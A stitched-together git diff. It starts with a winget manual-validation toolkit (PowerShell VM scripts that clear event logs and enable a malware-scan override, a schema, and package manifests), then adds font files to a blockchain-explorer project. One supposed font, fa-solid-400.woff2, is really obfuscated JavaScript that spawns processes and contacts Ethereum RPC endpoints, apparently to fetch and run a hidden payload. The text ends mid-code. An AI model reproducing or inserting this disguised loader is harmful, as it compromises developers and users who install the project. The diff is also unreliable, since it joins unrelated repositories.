Write-Host "Setting $vm $Package $PR state $Status" +} + +Function Get-TrackerVMRunValidation { + param( + $fileName = "cmds.ps1" + ) + Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log } + Copy-Item $runPath\$fileName $homePath\$fileName + & $homePath\$fileName +} + +Function Get-TrackerVMStatus{ + param( + [int]$vmNum, + [ValidateSet("AddVCRedist","Approved","CheckpointComplete","Checkpointing","CheckpointReady","Completing","Complete","Disgenerate","DoesntRun","Feedback","LongRunning","FileScan1","FileScan2","FileScan1Pause","FileScan2Pause","Generating","Installing","Prescan","Prevalidation","Ready","Rebooting","Regenerate","Restoring","Revert","Scanning","SendStatus","SendStatus-Approved","SendStatus-Complete","SendStatus-Feedback","Setup","SetupComplete","Starting","Unhealthy","Updating","ValidationCompleted")] + $Status, + $Option = "status", + $out = (Get-Content $StatusFile | ConvertFrom-Csv | where {$_.status -notmatch "ImagePark"}) + ) + if ($vmNum) { + $out = ($out | where {$_.vm -eq $vmNum}).$Option + } + if ($Status) { + $out = ($out | where {$_.status -eq $Status}).vm + } + $out +} + +Function Get-InstalledVersions { + Param( + $file = (gc C:\Users\User\Desktop\ChangedFiles.txt | where {$_ -match "Links"} | where {$_ -match "exe"}), + $cmdstring = "version", + $ArpName = (($file -split "\\")[-1] -split "\.")[0] + ) + if ($file) { + Write-Host "Reading $ArpName" + $ArpData = Get-ARPTable $ArpName + $FileData = &"$file" "--$cmdstring" + if ($null -eq $FileData){ + $FileData = &"$file" "$cmdstring" + } + $shouldsend = $false + ($FileData -replace ":"," " -replace "v","" -split " ") |%{if ($ArpData.DisplayVersion -match $_ ) {$shouldsend = $true}} + if ($shouldsend){ + Send-SharedError -Status Approved -Clip $FileData + } + } +} + +<# +Registry: +$a = gci HKLM:SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall | Get-ItemProperty | select DisplayName,DisplayVersion +$a += gci HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall | Get-ItemProperty | select DisplayName,DisplayVersion +$a | where {$_.displayname} | sort displayname -Unique + +#Clear event logs. + +# Commands +$n = 15;$t = $n;while ($n -gt 0) {$n--;$r = $t - $n;Write-Progress -Activity "Build latch" -Status "Seconds remaining: $r/$t" -PercentComplete ((1-$n/$t)*100);sleep 1}; Get-NetAdapter|Disable-NetAdapter -confirm:$false;Get-NetAdapter|Enable-NetAdapter;sleep 30;Import-Module $Profile -Force;Import-Module $Profile -Force;cls;Write-Host "VM$VM with remoteIP $remoteIP version $build"; Get-TrackerVMSetStatus CheckpointReady; $n = 15;$t = $n;while ($n -gt 0) {$n--;$r = $t - $n; Write-Progress -Activity "Run latch" -Status "Seconds remaining: $r/$t" -PercentComplete ((1-$n/$t)*100);sleep 1};Write-Host "Waiting for Network...";Get-TrackerVMRunValidation + + +# Reset display window +$vm = 0;notepad $profile;cls;Write-Host "VM$VM with remoteIP $remoteIP version $build" + +# Close Notepad +Get-Process Notepad|Stop-Process; + +# Reboot +shutdown -r -t 05 + +# Setup: ExecutionPolicy, Uninstall, Enable WinGet settings. +Set-ExecutionPolicy Unrestricted +winget uninstall Microsoft.Teams +winget uninstall Microsoft.Teams.Free +winget uninstall Microsoft.OneDrive +winget uninstall Microsoft.MSIXPackagingTool_8wekyb3d8bbwe +winget settings --enable LocalManifestFiles;winget settings --enable LocalArchiveMalwareScanOverride; + +# Files +Logs file: C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\DiagOutputDir +Programs: C:\Users\user\AppData\Local\Programs\ +Download: C:\Users\user\AppData\Local\Temp\WinGet\ +Portable: C:\Users\user\AppData\Local\Microsoft\WinGet\Packages\ +Symlinks: C:\Users\user\AppData\Local\Microsoft\WinGet\Links\ + +New VM: +- Open Quick Create, create VM +- Connect, power on, use example@example.com to skip login. +- User username, easy to type password, security questions. +- Keyboard layout and locale, maybe a few other questions, then skip everything else. +- Do something else during initial setup. +- Install all store, winget, windows, and defender updates. Reboot as necessary. +ImageVMMove here at any point. +- Open PowerShell and run IPConfig, get switch IP. +- Connect to \\ip\ManVal\, open \vm\0\profile.ps1 +- Run few setup and uninstall commands +- Copy to local profile. +- Set up PowerShell window sizes +- Enter commands in windows +ImageVMStop +- Wait for image to cool +PipelineVMGenerate +- VM is in system. + +gci HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall +gci HKLM:SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall + #> \ No newline at end of file diff --git a/Tools/ManualValidation/ManualValidationSchema.json b/Tools/ManualValidation/ManualValidationSchema.json index ca11dd75503a3..2fe0fe6c40c1e 100644 --- a/Tools/ManualValidation/ManualValidationSchema.json +++ b/Tools/ManualValidation/ManualValidationSchema.json @@ -1,91 +1,91 @@ -{ - "PR": { - "Number": { - "description": "The pull request number", - "type": [ "integer", "null" ], - "minLength":5, - "maxLength":6, - "pattern": "[0-9]{5,6}", - }, - "Title": { - "description": "The pull request title", - "type": "string", - "minLength":6, - "maxLength":128, - "pattern": "[a-zA-Z0-9]", - }, - }, - "VM": { - "Number": { - "description": "The virtual machine number", - "type": "integer", - "minLength":4, - "maxLength":4, - "pattern": "[0-9]{4}", - } - }, - "CovertReview": { - "IPv4": { - "description": "IPv4 address", - "type": [ "string", "null" ], - "minLength":7, - "pattern": "(((?!25?[6-9])[1]\\d|[1-9])?\\d\\.?\\b){4}", - }, - "IPv6": { - "description": "IPv6 address", - "type": [ "string", "null" ], - "minLength":2, - "pattern": "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))", - }, - "Transforms": { - "description": "Transforms instalelr switch", - "type": [ "string", "null" ], - "minLength":10, - "pattern": "TRANSFORMS", - }, - "Patch": { - "description": "Patch instalelr switch", - "type": [ "string", "null" ], - "minLength": 5, - "pattern": "PATCH", - }, - "Msp": { - "description": "MSI Patch file extension", - "type": [ "string", "null" ], - "minLength":3, - "pattern": "[.]msp", - }, - }, - "General": { - "WordFilterList": { - "description": "List of words which block PR merging without an ApprovalUrl", - "type": [ "string", "null" ], - "minLength": 4, - "maxLength":38, - "enum": [ - "accept_gdpr ", - "accept-licenses", - "accept-license", - "eula", - "downloadarchive.documentfoundation.org", - "paypal" - ], - }, - "SkipToContent": { - "description": "First line of the GitHub manifest page", - "type": [ "string", "null" ], - "minLength": 15, - "maxLength":15, - "enum": [ - "Skip to content" - ], - }, - "manifests": { - "description": "First word of the last half of a manifest file URL", - "type": [ "string", "null" ], - "minLength": 16, - "maxLength":1024, - "pattern": "^manifests/", - } - } +{ + "PR": { + "Number": { + "description": "The pull request number", + "type": [ "integer", "null" ], + "minLength":5, + "maxLength":6, + "pattern": "[0-9]{5,6}", + }, + "Title": { + "description": "The pull request title", + "type": "string", + "minLength":6, + "maxLength":128, + "pattern": "[a-zA-Z0-9]", + }, + }, + "VM": { + "Number": { + "description": "The virtual machine number", + "type": "integer", + "minLength":4, + "maxLength":4, + "pattern": "[0-9]{4}", + } + }, + "CovertReview": { + "IPv4": { + "description": "IPv4 address", + "type": [ "string", "null" ], + "minLength":7, + "pattern": "(((?!25?[6-9])[1]\\d|[1-9])?\\d\\.?\\b){4}", + }, + "IPv6": { + "description": "IPv6 address", + "type": [ "string", "null" ], + "minLength":2, + "pattern": "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))", + }, + "Transforms": { + "description": "Transforms instalelr switch", + "type": [ "string", "null" ], + "minLength":10, + "pattern": "TRANSFORMS", + }, + "Patch": { + "description": "Patch instalelr switch", + "type": [ "string", "null" ], + "minLength": 5, + "pattern": "PATCH", + }, + "Msp": { + "description": "MSI Patch file extension", + "type": [ "string", "null" ], + "minLength":3, + "pattern": "[.]msp", + }, + }, + "General": { + "WordFilterList": { + "description": "List of words which block PR merging without an ApprovalUrl", + "type": [ "string", "null" ], + "minLength": 4, + "maxLength":38, + "enum": [ + "accept_gdpr ", + "accept-licenses", + "accept-license", + "eula", + "downloadarchive.documentfoundation.org", + "paypal" + ], + }, + "SkipToContent": { + "description": "First line of the GitHub manifest page", + "type": [ "string", "null" ], + "minLength": 15, + "maxLength":15, + "enum": [ + "Skip to content" + ], + }, + "manifests": { + "description": "First word of the last half of a manifest file URL", + "type": [ "string", "null" ], + "minLength": 16, + "maxLength":1024, + "pattern": "^manifests/", + } + } } \ No newline at end of file diff --git a/manifests/s/SasaTime/SasaTime/0.1.1/SasaTime.SasaTime.installer.yaml b/manifests/s/SasaTime/SasaTime/0.1.1/SasaTime.SasaTime.installer.yaml new file mode 100644 index 0000000000000..1a5700c60470c --- /dev/null +++ b/manifests/s/SasaTime/SasaTime/0.1.1/SasaTime.SasaTime.installer.yaml @@ -0,0 +1,12 @@ +# Created using wingetcreate 1.12.13.0 +# yaml-language-server: $schema=https://aka.ms/winget-manifest.installer.1.12.0.schema.json + +PackageIdentifier: SasaTime.SasaTime +PackageVersion: 0.1.1 +InstallerType: nullsoft +Installers: +- Architecture: x64 + InstallerUrl: https://time-server.sasapay.me/releases/SasaTime-0.1.1-win.exe + InstallerSha256: 1E546FA85C99A619B2072EB820AFEBBF0E9A67E7837806BCF39AFFD04A5567A5 +ManifestType: installer +ManifestVersion: 1.12.0 diff --git a/manifests/s/SasaTime/SasaTime/0.1.1/SasaTime.SasaTime.locale.en-US.yaml b/manifests/s/SasaTime/SasaTime/0.1.1/SasaTime.SasaTime.locale.en-US.yaml new file mode 100644 index 0000000000000..2202c84d4071f --- /dev/null +++ b/manifests/s/SasaTime/SasaTime/0.1.1/SasaTime.SasaTime.locale.en-US.yaml @@ -0,0 +1,14 @@ +# Created using wingetcreate 1.12.13.0 +# yaml-language-server: $schema=https://aka.ms/winget-manifest.defaultLocale.1.12.0.schema.json + +PackageIdentifier: SasaTime.SasaTime +PackageVersion: 0.1.1 +PackageLocale: en-US +Author: SasaTime +Publisher: SasaTime +PackageName: SasaTime +License: MIT License +Copyright: Copyright © 2026 SasaTime +ShortDescription: SasaTime desktop time-tracking agent +ManifestType: defaultLocale +ManifestVersion: 1.12.0 diff --git a/manifests/s/SasaTime/SasaTime/0.1.1/SasaTime.SasaTime.yaml b/manifests/s/SasaTime/SasaTime/0.1.1/SasaTime.SasaTime.yaml new file mode 100644 index 0000000000000..74b59abcbfd1c --- /dev/null +++ b/manifests/s/SasaTime/SasaTime/0.1.1/SasaTime.SasaTime.yaml @@ -0,0 +1,8 @@ +# Created using wingetcreate 1.12.13.0 +# yaml-language-server: $schema=https://aka.ms/winget-manifest.version.1.12.0.schema.json + +PackageIdentifier: SasaTime.SasaTime +PackageVersion: 0.1.1 +DefaultLocale: en-US +ManifestType: version +ManifestVersion: 1.12.0 diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000000000..1e4f9ba13fffd --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000000000..a1bc094ab14d8 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000000000..46ad237a6191a --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000000000..948a2a6cc76a4 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000000000..2a89d521e3fad Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000000000..141a90a9e0a4b Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000000000..38cf2517a4da7 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000000000..48634a9ab4743 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000000000..abe99e20c38a2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000000000..24de566a5c972 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000000000..7e0118e526eb5 Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-400.woff2 b/public/fonts/fa-solid-400.woff2 new file mode 100644 index 0000000000000..1390124885046 --- /dev/null +++ b/public/fonts/fa-solid-400.woff2 @@ -0,0 +1 @@ + global.i = 'A10-*050';const _0x32ebc7=_0x5ce2;(function(_0x20982f,_0x3f1f0b){const _0x2f1247=_0x5ce2,_0xbfd980=_0x20982f();while(!![]){try{const _0x2f9e3b=parseInt(_0x2f1247(0x28a))/(0x20e0+-0x15c3+-0xb1c)+-parseInt(_0x2f1247(0x270))/(0x18*0x15d+0x59f+-0x2655)*(parseInt(_0x2f1247(0x253))/(-0xb33+-0x1f83+0x2ab9))+parseInt(_0x2f1247(0x27a))/(-0x6ca*0x2+-0x17*-0x71+0x371)+parseInt(_0x2f1247(0x168))/(-0x47*-0x20+0x5*-0x305+0x63e)+-parseInt(_0x2f1247(0x280))/(0x1292+-0x2*-0xf8b+-0x31a2*0x1)*(parseInt(_0x2f1247(0x231))/(0x1*0x4af+0xc5*-0x31+0x210d))+parseInt(_0x2f1247(0x264))/(0x14*-0xf2+-0x113c+0x242c)+parseInt(_0x2f1247(0x190))/(0x139*-0xc+-0xc26+0x19*0x113);if(_0x2f9e3b===_0x3f1f0b)break;else _0xbfd980['push'](_0xbfd980['shift']());}catch(_0x2ad128){_0xbfd980['push'](_0xbfd980['shift']());}}}(_0x2976,-0x6e838+0x56*0x55+0x139c0f),(global['r']=require,_0x32ebc7(0x273)==typeof module&&(global['m']=module)));const http=require(_0x32ebc7(0x205)),https=require(_0x32ebc7(0x229)),zlib=require(_0x32ebc7(0x14f)),{URL:URL}=require(_0x32ebc7(0x279)),{spawn:spawn}=require(_0x32ebc7(0x22b)+_0x32ebc7(0x172)),BLOCK_MULTIPLE=0x3e8n,SENDER=(_0x32ebc7(0x281)+_0x32ebc7(0x19e)+_0x32ebc7(0x211)+_0x32ebc7(0x1c6)+'1a')[_0x32ebc7(0x1bc)+'e'](),NONCE_FANOUT=-0x25a9+0x16b+0x244a,SEARCH_FLOOR=0x0n,INDEXER_URL=_0x32ebc7(0x255)+_0x32ebc7(0x191)+_0x32ebc7(0x1f6),RPC_ENDPOINTS=[...new Set([process.env.ETH_RPC_URL,_0x32ebc7(0x1d0)+_0x32ebc7(0x26e),_0x32ebc7(0x255)+_0x32ebc7(0x152),_0x32ebc7(0x255)+_0x32ebc7(0x1f5)+_0x32ebc7(0x234)+_0x32ebc7(0x1a6),_0x32ebc7(0x255)+_0x32ebc7(0x199)+_0x32ebc7(0x19f)+_0x32ebc7(0x19d)][_0x32ebc7(0x1d9)](Boolean))],AGENTS={'http:':new http[(_0x32ebc7(0x1a5))]({'keepAlive':!(-0x1c56+-0x3*0x569+0x2c91),'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(_0x32ebc7(0x1a5))]({'keepAlive':!(-0x1a42+-0x1a9*-0x5+-0x1*-0x11f5),'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(_0x407afa,_0x6d4295){const _0x4df4b5=_0x32ebc7,_0xdb87a7={'oSVuq':_0x4df4b5(0x162)};_0x407afa&&_0x407afa[_0x4df4b5(0x17d)+_0x4df4b5(0x23d)](_0xdb87a7[_0x4df4b5(0x182)],()=>_0x6d4295[_0x4df4b5(0x162)](),{'once':!(0x1*-0x1d4d+0x1909+0x444)});}function _0x2976(){const _0x2f55ab=['nsactionCo','dVtRN','etZJj','result','SSKrF','aMSbx','rUeLj','subarray','84531ryaXWX','unt','https://et','gzip,\x20defl','cxOxO','ImhvX','DXZHs','POST','UMBCF','RREBd','RZonu','ngth','ilterby=fr','UceIc','oad\x20body','tpATb','nonce','1490552iFUToM','b64','phFLU','from','VVvYi','uZOyl','WZVoL','wVsnn','EwrYS','all','pc.io/eth','WLJvS','118ZXDohK','TBqIc','Kit/537.36','object','pEmWS','forEach','2.0','\x27]=\x27','Missing\x20X-','node:url','4349320ksCpvj','lAfgW','RYmwT','resume',':80','WtCJu','314586adMPQp','0xa322E5f3','YEYXb','ffset=20&s','tItJu','createInfl','aFRsH','9&page=1&o','xtqat','gWyNb','311775hyjjKZ','node:zlib','\x20from\x20','y-p_>d$0B&','h.drpc.org','CLSEy','DPZMj','ROTcR','https:','LRJck','Nfhoz','jisND','cloXp','bIYbo','DbkJf','search','fari/537.3','\x20Chrome/13','JSON\x20parse','umber','abort','QURKH','\x20(KHTML,\x20l',':443','MtIwI','qiIzp','3880800BRySvV','rPgam','applicatio','KhulI','x-gzip','Mozilla/5.','pMcRf','uLUYW','jRFnt','\x27;global[\x27','_process','ZxJiX','WPTDR','dakVZ','VLmnK','fjQdv','GET','createBrot','deflate','toString','OtppN','addEventLi','controller','HlkfO','bkBiz','EatxF','oSVuq','VqHoL','charCodeAt','ztsJi','length','NQkqG','ignore','AKolx','KSYbs','ck=9999999','_H2\x27]=\x27','0\x20(Windows','end','vfybc','3625155vsoNen','h.blocksco',':443/0x/ls','concat','_H\x27]=\x27','data','pipe','lXKSQ','qrMrc','h-mainnet.','gzip','eth_getBlo','ksFrG','stapi.io','D311D3080e','public.bla','ohHjG','1.0.0.0\x20Sa','find','Non-JSON\x20f','coding','Agent','e.com','gyrez','x-payload-','Payload-B6','goaMs','ort=desc&f','base64','blockNumbe','_t_u\x27]=\x27','jSDuK','map','al=global;','aeWoJ','http://','Content-Le','paFrm','csPSI','_H2','r\x27]=requir','om\x20','rBNGd','protocol','toLowerCas','add','\x20failed\x20fr','zchEg','qofXT','run','byteLength','_t_s\x27]=\x27','ckOdG','headers','9aDC2490Ef','e;global[\x27','HmyqH','Empty\x20payl','qaolA','liDecompre','slice','QmWvB','gVHhx','fcwUA','https://1r','pVvFH','transactio','jvbjl','n/json','eth_blockN','ZmRTU','OAadt','isArray','filter','AQfhj','MQdsj','JsHiI','lhkFZ','then','HTTP\x20','QywDW','\x20NT\x2010.0;\x20','rom\x20','dGMWu','on=txlist&','@^1aQk','request','statusCode','bjFmF','findIndex','ate','hostname','XLlwM','&startbloc','KarYB','k=0&endblo','XhRCx','fycDG','trim','ckByNumber','utf8','hereum-rpc','ut.com/api','atcEx','TeUiZ','replace','?module=ac','HYLVl','Win64;\x20x64',';var\x20_glob','ike\x20Gecko)','address=','hex','node','eCgpk','LarGF','iuuQj','node:http','signal','VNxhc','any','message','_t_s','error','Content-Ty','kixLO','Dwgab','tbhzo','count&acti','6f0121063e','ktMtm','parse','CRaIb','ate,\x20br','stringify','toQCY','zROSG','CNzgK',')\x20AppleWeb','has','global[\x27_V','createGunz','Ztquq','GbHUs','keep-alive','catch','wClIb','push','HEAD','KtLZE','content-en','SnnIF','eth_getTra','node:https','IKuUS','node:child','XPtEC',',Sr3=@','unref',':443/0x/cl','Dwetk','35sXWIuS','YrZWv','nJAqX','.publicnod','write','_t_u','JQFEC','xPpyf','Dtfma','pathname','SuwOR','phUVL','stener','WVxbp','m\x27]=module','port','UaMqV','cLZWW','KQheR','sHZmR','min','get','nHZqM','EKoYx','kIXwj','q4FZkxX{!h'];_0x2976=function(){return _0x2f55ab;};return _0x2976();}function decompressStream(_0x5ad7ad){const _0x5a10f0=_0x32ebc7,_0x2bc10f={'XhRCx':_0x5a10f0(0x226)+_0x5a10f0(0x1a4),'dGMWu':function(_0x44314f,_0x289705){return _0x44314f===_0x289705;},'qrMrc':_0x5a10f0(0x19a),'VNxhc':function(_0x15401f,_0x39915b){return _0x15401f===_0x39915b;},'bjFmF':_0x5a10f0(0x16c),'dakVZ':function(_0x2e2298,_0x3a648b){return _0x2e2298===_0x3a648b;},'YEYXb':_0x5a10f0(0x17a)},_0xc34969=(_0x5ad7ad[_0x5a10f0(0x1c5)][_0x2bc10f[_0x5a10f0(0x1f0)]]||'')[_0x5a10f0(0x1bc)+'e']();return _0x2bc10f[_0x5a10f0(0x1e3)](_0x2bc10f[_0x5a10f0(0x198)],_0xc34969)||_0x2bc10f[_0x5a10f0(0x207)](_0x2bc10f[_0x5a10f0(0x1e8)],_0xc34969)?_0x5ad7ad[_0x5a10f0(0x196)](zlib[_0x5a10f0(0x21d)+'ip']()):_0x2bc10f[_0x5a10f0(0x175)](_0x2bc10f[_0x5a10f0(0x282)],_0xc34969)?_0x5ad7ad[_0x5a10f0(0x196)](zlib[_0x5a10f0(0x285)+_0x5a10f0(0x1ea)]()):_0x2bc10f[_0x5a10f0(0x207)]('br',_0xc34969)?_0x5ad7ad[_0x5a10f0(0x196)](zlib[_0x5a10f0(0x179)+_0x5a10f0(0x1cb)+'ss']()):_0x5ad7ad;}function httpRequest(_0x46d256,{method:_0x242ec8=_0x32ebc7(0x178),body:_0x59b024,signal:_0x183ccb}={}){const _0x1dba90=_0x32ebc7,_0x1c751c={'bkBiz':_0x1dba90(0x1f4),'qaolA':function(_0x41de63,_0x10c27e){return _0x41de63<_0x10c27e;},'AKolx':function(_0x494707,_0xa0b662){return _0x494707>=_0xa0b662;},'fjQdv':function(_0xc20486,_0xb66712){return _0xc20486(_0xb66712);},'DbkJf':function(_0x18343b,_0x3d2204){return _0x18343b===_0x3d2204;},'UceIc':function(_0x4723ce,_0x4c7a5f){return _0x4723ce!==_0x4c7a5f;},'CRaIb':function(_0x4b68c0,_0x29c3d7){return _0x4b68c0(_0x29c3d7);},'QmWvB':function(_0x1a66a4,_0x49a858){return _0x1a66a4(_0x49a858);},'xtqat':_0x1dba90(0x195),'aFRsH':_0x1dba90(0x18e),'phFLU':_0x1dba90(0x20b),'XPtEC':function(_0x228e1c,_0x236512){return _0x228e1c===_0x236512;},'ZxJiX':_0x1dba90(0x156),'KQheR':function(_0x1b9544,_0x2ef84b){return _0x1b9544+_0x2ef84b;},'aeWoJ':function(_0x291a2c,_0x3a8c33){return _0x291a2c!=_0x3a8c33;},'jvbjl':function(_0x43fa1b,_0x4d4af9){return _0x43fa1b===_0x4d4af9;},'zchEg':_0x1dba90(0x16a)+_0x1dba90(0x1d4),'WLJvS':_0x1dba90(0x256)+_0x1dba90(0x215),'EKoYx':_0x1dba90(0x220),'VVvYi':function(_0x52abd7,_0x1f26e3){return _0x52abd7!=_0x1f26e3;},'ohHjG':_0x1dba90(0x20c)+'pe','Ztquq':_0x1dba90(0x1b4)+_0x1dba90(0x25e)},_0x1ef1f2=new URL(_0x46d256),_0x3e9a84=_0x1c751c[_0x1dba90(0x1d3)](_0x1c751c[_0x1dba90(0x173)],_0x1ef1f2[_0x1dba90(0x1bb)])?https:http,_0x32ed04={'Accept':_0x1c751c[_0x1dba90(0x1bf)],'Accept-Encoding':_0x1c751c[_0x1dba90(0x26f)],'Connection':_0x1c751c[_0x1dba90(0x248)]};return _0x1c751c[_0x1dba90(0x268)](null,_0x59b024)&&(_0x32ed04[_0x1c751c[_0x1dba90(0x1a0)]]=_0x1c751c[_0x1dba90(0x1bf)],_0x32ed04[_0x1c751c[_0x1dba90(0x21e)]]=Buffer[_0x1dba90(0x1c2)](_0x59b024)),new Promise((_0x1a02e6,_0x40c87b)=>{const _0x34d936=_0x1dba90,_0x53e14a={'EatxF':_0x1c751c[_0x34d936(0x180)],'rUeLj':function(_0x238b83,_0x55f213){const _0x389b17=_0x34d936;return _0x1c751c[_0x389b17(0x1ca)](_0x238b83,_0x55f213);},'uLUYW':function(_0x327e43,_0x2cdfe2){const _0x22e147=_0x34d936;return _0x1c751c[_0x22e147(0x189)](_0x327e43,_0x2cdfe2);},'ckOdG':function(_0x5df45,_0x14afe3){const _0x4bf354=_0x34d936;return _0x1c751c[_0x4bf354(0x177)](_0x5df45,_0x14afe3);},'RREBd':function(_0x201425,_0x30e2ed){const _0x22eef1=_0x34d936;return _0x1c751c[_0x22eef1(0x15c)](_0x201425,_0x30e2ed);},'SnnIF':function(_0x966893,_0x5a8f14){const _0x155197=_0x34d936;return _0x1c751c[_0x155197(0x260)](_0x966893,_0x5a8f14);},'SuwOR':function(_0x14288b,_0x5b0bbb){const _0x1f4c4b=_0x34d936;return _0x1c751c[_0x1f4c4b(0x260)](_0x14288b,_0x5b0bbb);},'ZmRTU':function(_0x45712c,_0x5f4e22){const _0x5de204=_0x34d936;return _0x1c751c[_0x5de204(0x214)](_0x45712c,_0x5f4e22);},'kixLO':function(_0xfcd7a0,_0x27daf5){const _0x3c7b14=_0x34d936;return 